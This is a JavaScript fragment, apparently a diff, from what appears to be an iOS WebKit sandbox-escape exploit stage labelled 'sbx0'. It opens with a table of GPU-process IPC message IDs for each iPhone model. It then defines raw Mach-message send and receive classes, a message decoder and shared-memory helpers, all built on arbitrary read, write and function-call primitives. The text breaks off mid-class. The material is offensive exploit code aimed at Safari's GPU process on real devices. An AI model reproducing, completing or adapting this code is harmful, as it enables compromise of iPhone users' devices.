RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,1_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,2_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,1_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,2_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,3_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,4_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,5_22G100": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + } + +}); + + print("sbx0 device_model: " + device_model); + print("sbx0 offsets keys count: " + Object.keys(sbx0_offsets).length); + print("sbx0 has key: " + (device_model in sbx0_offsets)); + var __sbx0_dm = __labResolveOffsetKey(sbx0_offsets, device_model); + var MessageName = sbx0_offsets[__sbx0_dm]; + print("sbx0 MessageName: " + (MessageName === undefined ? "UNDEFINED" : "OK")); + function LOG(msg) { + log('sbx0: ' + msg); + } + const MACH_MSG_TYPE_MOVE_SEND = 0x11; + const MACH_MSGH_BITS_COMPLEX = 0x80000000; + const MACH_MSG_PORT_DESCRIPTOR = 0; + const KERN_SUCCESS = 0n; + const MACH_PORT_NULL = 0; + const outOfLineBodyMessageID = 0xdba1dba; + const inlineBodyMessageID = 0xdba0dba; + const streamBufferServerOffset = 0n; + const streamBufferClientOffset = 0x80n; + const streamBufferDataOffset = 0x100n; + const sizeof_mach_msg_header_t = 0x18; + const sizeof_mach_msg_body_t = 0x4; + const sizeof_mach_msg_port_descriptor_t = 0xc; + const sizeof_mach_msg_ool_descriptor_t = 0x10; + const inlineMessageMaxSize = 4096; + const receiveBufferSize = 0x1044; + const receiveBufferSizeAsBigInt = BigInt(receiveBufferSize); + const receiveBuffer = new ArrayBuffer(receiveBufferSize); + const receiveBufferU8 = new Uint8Array(receiveBuffer); + const receiveBufferDataPointer = receiveBuffer.data(); + const __mach_task_self = read32(offsets.mach_task_self_ptr); + const GL_VERTEX_SHADER = 0x8B31; + const GL_FRAGMENT_SHADER = 0x8B30; + const GL_ARRAY_BUFFER = 0x8892; + const GL_STATIC_DRAW = 0x88E4; + const GL_TEXTURE_2D = 0x0DE1; + const GL_DEPTH_COMPONENT32F = 0x8CAC; + const GL_DEPTH_COMPONENT = 0x1902; + const GL_FLOAT = 0x1406; + const GL_PIXEL_UNPACK_BUFFER = 0x88EC; + const GL_UNPACK_IMAGE_HEIGHT = 0x806E; + function ASSERT_NOT_REACHED(message) { + log(`ASSERT_NOT_REACHED: ${message}`); + fcall(offsets.exit, 0n); + while (1); + } + function ASSERT(condition, message) { + if (!condition) { + log(`ASSERT: ${message}`); + fcall(offsets.exit, 0n); + while (1); + } + } + class MachMessage { + static safeRoundMsg(value) { + const alignment = 8; + return Math.floor((value + (alignment - 1)) / alignment) * alignment; + } + static messageSize(bodySize, portDescriptorCount, memoryDescriptorCount) { + let messageSize = sizeof_mach_msg_header_t; + messageSize += bodySize; + if (portDescriptorCount || memoryDescriptorCount) { + messageSize += sizeof_mach_msg_body_t; + messageSize += portDescriptorCount * sizeof_mach_msg_port_descriptor_t; + messageSize += memoryDescriptorCount * sizeof_mach_msg_ool_descriptor_t; + } + return MachMessage.safeRoundMsg(messageSize); + } + } + ; + class Connection { + constructor(connection_ptr, ownership = false) { + if (connection_ptr) { + this.connection_ptr = connection_ptr; + this.sendPort = read32(connection_ptr + 0x138n); + this.receivePort = read32(connection_ptr + 0x148n); + ASSERT(this.sendPort, "sendPort is NULL"); + ASSERT(this.receivePort, "receivePort is NULL"); + if (ownership) { + write64(connection_ptr + 0x148n, 0n); + } + } + } + setSendPort(sendPort) { + this.sendPort = sendPort; + } + createReceivePort() { + const portBuffer = new BigUint64Array(1); + let kr = fcall(offsets.mach_port_allocate, __mach_task_self, 1n, portBuffer.data()); + ASSERT(kr == KERN_SUCCESS, "mach_port_allocate failed"); + const receivePort = portBuffer[0]; + kr = fcall(offsets.mach_port_insert_right, __mach_task_self, receivePort, receivePort, 0x14n); + ASSERT(kr == KERN_SUCCESS, "mach_port_insert_right failed"); + return this.receivePort = receivePort; + } + tryConsumeMessage() { + while (1) { + const kr = fcall(offsets.mach_msg_fn, receiveBufferDataPointer, 0x906n, 0n, receiveBufferSizeAsBigInt, BigInt(this.receivePort), 0n, 0n); + if (kr == KERN_SUCCESS) { + return true; + } else if (kr == 0x10004003n) { + return false; + } else { + ASSERT_NOT_REACHED(`tryConsumeMessage: maybe gpu dead (code: ${kr.hex()})`); + } + } + } + tryReceiveMessage() { + let logged = false; + while (1) { + const kr = fcall(offsets.mach_msg_fn, receiveBufferDataPointer, 0x906n, 0n, receiveBufferSizeAsBigInt, BigInt(this.receivePort), 5000n, 0n); + if (kr == KERN_SUCCESS) { + const buffer = new ArrayBuffer(receiveBufferSize); + const bufferU8 = new Uint8Array(buffer); + bufferU8.set(receiveBufferU8); + return new Decoder(buffer); + } else if (kr == 0x10004003n) { + if (!logged) { + logged = true; + LOG("[!] mach_msg(): process not responding"); + } + continue; + } else { + ASSERT_NOT_REACHED(`tryReceiveMessage: maybe gpu dead (code: ${kr.hex()})`); + } + } + } + receiveMessage(messageName) { + while (1) { + const decoder = this.tryReceiveMessage(); + if (decoder.messageName == messageName) { + return decoder; + } + } + } + receiveMessages(messageNames) { + const result = new Array(messageNames.length); + let count = 0; + while (1) { + const decoder = this.tryReceiveMessage(); + for (let i = 0; i < result.length; ++i) { + if (!result[i] && decoder.messageName == messageNames[i]) { + LOG(`Connection.receiveMessages(): met ${messageNames[i].toString(16)}`); + result[i] = decoder; + ++count; + if (count == messageNames.length) { + return result; + } + } + } + } + } + receiveSyncReply(syncRequestID) { + while (1) { + const decoder = this.receiveMessage(MessageName.SyncMessageReply); + if (decoder.decode('uint64_t') == syncRequestID) return decoder; + } + } + sendMessage(encoder, attachments = []) { + const buffer = encoder.buffer(); + const numberOfPortDescriptors = attachments.length; + let messageBodyIsOOL = false; + let messageSize = MachMessage.messageSize(buffer.byteLength, numberOfPortDescriptors, messageBodyIsOOL); + if (messageSize > inlineMessageMaxSize) { + messageBodyIsOOL = true; + messageSize = MachMessage.messageSize(0, numberOfPortDescriptors, messageBodyIsOOL); + } + const isComplex = numberOfPortDescriptors || messageBodyIsOOL; + const message = new ArrayBuffer(messageSize); + const view = new DataView(message); + view.setUint32(0, isComplex ? 0x80000013 : 0x13, true); + view.setUint32(4, messageSize, true); + view.setUint32(8, Number(this.sendPort), true); + view.setUint32(0x14, messageBodyIsOOL ? outOfLineBodyMessageID : inlineBodyMessageID, true); + let messageOffset = 0x18; + if (isComplex) { + view.setUint32(messageOffset, numberOfPortDescriptors + messageBodyIsOOL, true); + messageOffset += 4; + for (const attachment of attachments) { + view.setUint32(messageOffset, Number(attachment), true); + view.setUint32(messageOffset + 4, MACH_MSG_PORT_DESCRIPTOR, true); + view.setUint32(messageOffset + 8, MACH_MSG_TYPE_MOVE_SEND << 16, true); + messageOffset += sizeof_mach_msg_port_descriptor_t; + } + if (messageBodyIsOOL) { + view.setBigUint64(messageOffset, buffer.data(), true); + view.setUint32(messageOffset + 8, 0x1000100, true); + view.setUint32(messageOffset + 0xc, buffer.byteLength, true); + messageOffset += sizeof_mach_msg_ool_descriptor_t; + } + } + if (!messageBodyIsOOL) { + const buffer_u8 = new Uint8Array(buffer); + const message_u8 = new Uint8Array(message); + for (let i = 0; i < buffer_u8.byteLength; ++i) { + message_u8[messageOffset + i] = buffer_u8[i]; + } + } + const header = message.data(); + return fcall(offsets.mach_msg_fn, header, 145n, BigInt(messageSize), 0n, 0n, 0n, 0n); + } + } + ; + class Decoder { + constructor(buffer) { + this.buffer = buffer; + this.offset = 0; + this.view = new DataView(this.buffer); + this.attachments = []; + const isComplex = !!(this.view.getUint32(0, true) & MACH_MSGH_BITS_COMPLEX); + if (isComplex) { + const numberOfPortDescriptors = this.view.getUint32(0x18, true); + const sizeWithPortDescriptors = sizeof_mach_msg_header_t + sizeof_mach_msg_body_t + numberOfPortDescriptors * sizeof_mach_msg_port_descriptor_t; + let descriptorOffset = 0x1c; + const messageBodyIsOOL = this.view.getUint32(0x14, true) == outOfLineBodyMessageID; + this.isOOL = messageBodyIsOOL; + const numberOfAttachments = messageBodyIsOOL ? numberOfPortDescriptors - 1 : numberOfPortDescriptors; + for (let i = 0; i < numberOfAttachments; ++i) { + this.attachments.push(BigInt(this.view.getUint32(descriptorOffset, true))); + descriptorOffset += sizeof_mach_msg_port_descriptor_t; + } + if (messageBodyIsOOL) { + ASSERT_NOT_REACHED("ool message is not supported"); + } else { + this.offset = descriptorOffset; + this.messageFlags = this.decode('uint8_t'); + this.messageName = this.decode('uint16_t'); + } + } else if (this.view.getUint32(0x14, true) == inlineBodyMessageID) { + this.offset += sizeof_mach_msg_header_t; + this.messageFlags = this.decode('uint8_t'); + this.messageName = this.decode('uint16_t'); + } else { + LOG(`unsupported message type (${this.buffer.data().hex()}) (gpu might be dead)`); + this.messageName = 0; + } + } + static argumentAlignment(type) { + switch (type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + default: + ASSERT_NOT_REACHED(`Decoder.argumentAlignment(): unexpected type name: ${type}`); + } + } + static argumentSize(type) { + switch (type) { + case 'uint64_t': + case 'int64_t': + return 8; + case 'uint32_t': + case 'int32_t': + return 4; + case 'uint16_t': + case 'int16_t': + return 2; + case 'uint8_t': + case 'int8_t': + case 'bool': + return 1; + default: + ASSERT_NOT_REACHED(`Decoder.argumentSize(): unexpected type name: ${type}`); + } + } + decode(type) { + const alignment = Decoder.argumentAlignment(type); + const remainder = this.offset % alignment; + if (remainder) { + this.offset += alignment - remainder; + } + let result; + switch (type) { + case 'uint64_t': + result = this.view.getBigUint64(this.offset, true); + break; + case 'int64_t': + result = this.view.getBigInt64(this.offset, true); + break; + case 'uint32_t': + result = this.view.getUint32(this.offset, true); + break; + case 'int32_t': + result = this.view.getInt32(this.offset, true); + break; + case 'uint16_t': + result = this.view.getUint16(this.offset, true); + break; + case 'int16_t': + result = this.view.getInt16(this.offset, true); + break; + case 'uint8_t': + result = this.view.getUint8(this.offset); + break; + case 'int8_t': + result = this.view.getInt8(this.offset); + break; + case 'bool': + result = !!this.view.getInt8(this.offset); + break; + default: + ASSERT_NOT_REACHED(`Decoder.decode(): unexpected type name: ${arg.type}`); + } + this.offset += Decoder.argumentSize(type); + return result; + } + decode8BitString() { + const length = this.decode('uint32_t'); + const is8Bit = this.decode('bool'); + ASSERT(is8Bit, "encountered 16 bits string"); + const result = this.buffer.slice(this.offset, this.offset + length); + this.offset += length; + return result; + } + } + ; + class SharedBuffer { + constructor(size) { + const addressBuffer = new BigUint64Array(1); + let kr = fcall(offsets.vm_allocate_fn, __mach_task_self, addressBuffer.data(), size, 3n); + ASSERT(kr == KERN_SUCCESS, "vm_allocate failed"); + const address = addressBuffer[0]; + const sizeBuffer = new BigUint64Array(1); + sizeBuffer[0] = size; + const portBuffer = new BigUint64Array(1); + kr = fcall(offsets.mach_make_memory_entry_64_fn, __mach_task_self, sizeBuffer.data(), address, 0x500043n, portBuffer.data(), 0n); + ASSERT(kr == KERN_SUCCESS, "mach_make_memory_entry_64 failed"); + this.address = address; + this.port = portBuffer[0]; + this.size = size; + } + } + ; + class StreamClientConnection extends Connection { + constructor(identifier, 